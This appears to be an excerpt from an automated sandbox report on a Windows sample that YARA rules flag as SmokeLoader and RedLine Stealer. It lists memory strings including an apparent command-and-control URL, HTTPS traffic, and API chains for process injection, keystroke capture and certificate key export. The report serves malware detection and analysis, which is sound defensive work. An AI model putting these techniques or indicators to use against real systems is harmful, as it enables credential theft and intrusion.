Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.000000000345A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/
Source: explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/earch.php
Source: explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2671360392.0000000000828000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4175889505.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4175623064.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4175797278.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.4174637350.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.php
Source: explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2671360392.0000000000828000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4175889505.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4175623064.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4175797278.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.4174637350.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.phpMozilla/5.0
Source: explorer.exe, 0000000C.00000002.2734650053.00000000033D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com:443/search.phpge
Source: explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1783714743.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1783714743.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 0000000C.00000003.2706066309.0000000003441000.00000004.00000020.00020000.00000000.sdmp, DF4B.tmp.12.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1777426774.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50067 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5292, type: MEMORYSTR

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_02F2162B GetKeyboardState,ToUnicode,

19_2_02F2162B

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A3220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,

10_2_00007FF7327A3220

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	0_2_00402F97
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401542
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00403247 NtTerminateProcess,GetModuleHandleA,	0_2_00403247
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401549
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_0040324F NtTerminateProcess,GetModuleHandleA,	0_2_0040324F
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00403256 NtTerminateProcess,GetModuleHandleA,	0_2_00403256
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_0040326C NtTerminateProcess,GetModuleHandleA,	0_2_0040326C
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00403277 NtTerminateProcess,GetModuleHandleA,	0_2_00403277
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014FE
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00403290 NtTerminateProcess,GetModuleHandleA,	0_2_00403290
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401514
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	5_2_00402F97
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401542
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00403247 NtTerminateProcess,GetModuleHandleA,	5_2_00403247
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401549
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_0040324F NtTerminateProcess,GetModuleHandleA,	5_2_0040324F
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00403256 NtTerminateProcess,GetModuleHandleA,	5_2_00403256
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401557
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_0040326C NtTerminateProcess,GetModuleHandleA,	5_2_0040326C
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00403277 NtTerminateProcess,GetModuleHandleA,	5_2_00403277
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_004014FE
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_00403290 NtTerminateProcess,GetModuleHandleA,	5_2_00403290
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401514
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	6_2_00402F97
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401542
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00403247 NtTerminateProcess,GetModuleHandleA,	6_2_00403247
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401549
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_0040324F NtTerminateProcess,GetModuleHandleA,	6_2_0040324F
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00403256 NtTerminateProcess,GetModuleHandleA,	6_2_00403256
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401557
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_0040326C NtTerminateProcess,GetModuleHandleA,	6_2_0040326C
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00403277 NtTerminateProcess,GetModuleHandleA,	6_2_00403277
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_004032C7 CreateFileW,GetForegroundWindow,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,wcsstr,tolower,towlower,	6_2_004032C7
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004014FE
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00403290 NtTerminateProcess,GetModuleHandleA,	6_2_00403290
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00403103 RtlCreateUserThread,NtTerminateProcess,	7_2_00403103
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_004014FB LocalAlloc,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004014FB
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401641 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_00401641
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00403257 RtlCreateUserThread,NtTerminateProcess,	7_2_00403257
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401606 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_00401606
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401613 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_00401613
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_00401627 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_00401627
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_004015FB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_004015FB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F4B92 RtlMoveMemory,NtUnmapViewOfSection,	12_2_030F4B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F33C3 NtQueryInformationFile,	12_2_030F33C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F342B NtQueryObject,NtQueryObject,RtlMoveMemory,	12_2_030F342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	12_2_030F349B
